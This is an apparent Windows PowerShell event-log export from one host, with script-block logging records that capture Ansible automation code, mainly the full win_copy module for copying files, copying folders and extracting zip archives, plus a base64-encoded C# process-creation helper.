"IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2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HRyIGxwVGl0bGU7CiAgICAgICAgcHVibGljIEludDMyIGR3WDsKICAgICAgICBwdWJsaWMgSW50MzIgZHdZOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcH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W1hbmRMaW5lLAogICAgICAgICAgICBJbnRQdHIgbHBQcm9jZXNzQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGxwVGhyZWFkQXR0cmlidXRlcywKICAgICAgICAgICAgYm9vbCBiSW5oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJ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Sk7CgogICAgICAgICAgICByZXR1cm4gc2JPdXQuVG9TdHJpbmcoKTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBjbGFzcyBDb21tYW5kUmVzdWx0CiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgc3RyaW5nIFN0YW5kYXJkT3V0IHsgZ2V0OyBpbnRlcm5hbCBzZXQ7IH0KICAgICAgICAgICAgcHVibGljIHN0cmluZyBTdGFuZGFyZEVycm9yIHsgZ2V0OyBpbnRlcm5hbCBzZXQ7IH0KICAgICAgICAgICAgcHVibGljIHVpbnQgRXhpdENvZGUgeyBnZXQ7IGludGVybmFsIHNldDsgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBDb21tYW5kUmVzdWx0IFJ1bkNvbW1hbmQoc3RyaW5nIGxwQXBwbGljYXRpb25OYW1lLCBzdHJpbmcgbHBDb21tYW5kTGluZSwgc3RyaW5nIGxwQ3VycmVudERpcmVjdG9yeSwgc3RyaW5nIHN0ZGluSW5wdXQsIElEaWN0aW9uYXJ5IGVudmlyb25tZW50KQogICAgICAgIHsKICAgICAgICAgICAgVUludDMyIHN0YXJ0dXBfZmxhZ3MgPSBDUkVBVEVfVU5JQ09ERV9FTlZJUk9OTUVOVCB8I
ScriptBlock ID: a353fea9-f627-45ff-8aa5-5c79f568b6fb
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2313 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 4128 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0002-d002-f2613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2312 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 2240 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0004-fe53-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4132 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2311 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 3380 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0004-fe53-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2310 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4132 | 2240 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:16 AM | 61e00a24-ee3b-0004-fe53-ef613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2309 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 908 | 1560 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-33e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 908 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2308 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 908 | 4884 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-33e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2307 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 908 | 1560 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-33e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2306 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4424 | 1464 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-32e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4424 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2305 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4424 | 3892 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-32e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2304 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4424 | 1464 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:15 AM | 61e00a24-ee3b-0003-32e4-ed613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: b97fd856-db72-4445-8cd5-fa1fd7ea8fa0
